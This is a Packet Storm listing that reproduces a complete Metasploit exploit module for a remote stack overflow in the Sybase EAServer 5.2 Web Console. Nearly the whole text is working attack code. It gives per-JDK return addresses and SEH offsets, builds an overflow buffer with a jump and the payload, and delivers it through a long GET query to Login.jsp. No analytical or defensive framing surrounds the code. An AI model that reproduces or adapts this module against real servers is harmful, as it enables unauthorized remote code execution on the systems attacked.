Sybase EAServer 5.2 Remote Stack Overflow

2009-11-26T00:00:00
ID PACKETSTORM:83195
Type packetstorm
Reporter anonymous
Modified 2009-11-26T00:00:00

Description

                                        
                                            `##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Sybase EAServer 5.2 Remote Stack Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the Sybase EAServer Web  
Console. The offset to the SEH frame appears to change depending  
on what version of Java is in use by the remote server, making this  
exploit somewhat unreliable.  
},  
'Author' => [ 'anonymous' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'OSVDB', '17996'],  
[ 'BID', '14287'],  
],  
'Privileged' => false,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\%",  
'StackAdjustment' => -3500,  
  
},  
'Platform' => 'win',  
'Targets' =>   
[   
# Technically we could combine these into a single multi-return string...  
['Windows All - Sybase EAServer 5.2 - jdk 1.3.1_11', {'Ret' => 0x6d4548ff, 'Offset' => 3820}],   
['Windows All - Sybase EAServer 5.2 - jdk 1.3.?.?', {'Ret' => 0x6d4548ff, 'Offset' => 3841}],   
['Windows All - Sybase EAServer 5.2 - jdk 1.4.2_06', {'Ret' => 0x08041b25, 'Offset' => 3912}],   
['Windows All - Sybase EAServer 5.2 - jdk 1.4.1_02', {'Ret' => 0x08041b25, 'Offset' => 3925}],   
],  
'DisclosureDate' => 'Jul 25 2005'))  
  
register_options(  
[  
OptString.new('DIR', [ true, "Directory of Login.jsp script", '/WebConsole/' ]),  
Opt::RPORT(8080)  
], self.class)  
  
end  
  
def exploit  
  
print_status( "Attempting to exploit...")  
  
# Building the evil buffer  
crash = rand_text_alphanumeric(5000, payload_badchars)  
crash[ target['Offset'] - 4, 2 ] = "\xeb\x06"  
crash[ target['Offset'] , 4 ] = [target.ret].pack('V')  
crash[ target['Offset'] + 4, payload.encoded.length ] = payload.encoded  
  
# Sending the request  
res = send_request_cgi({  
'uri' => datastore['DIR'] + 'Login.jsp?' + crash,  
'method' => 'GET',  
'headers' => {  
'Accept' => '*/*',  
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',  
}  
}, 5)  
  
print_status("Overflow request sent, sleeping for four seconds")  
sleep(4)  
end  
  
end  
`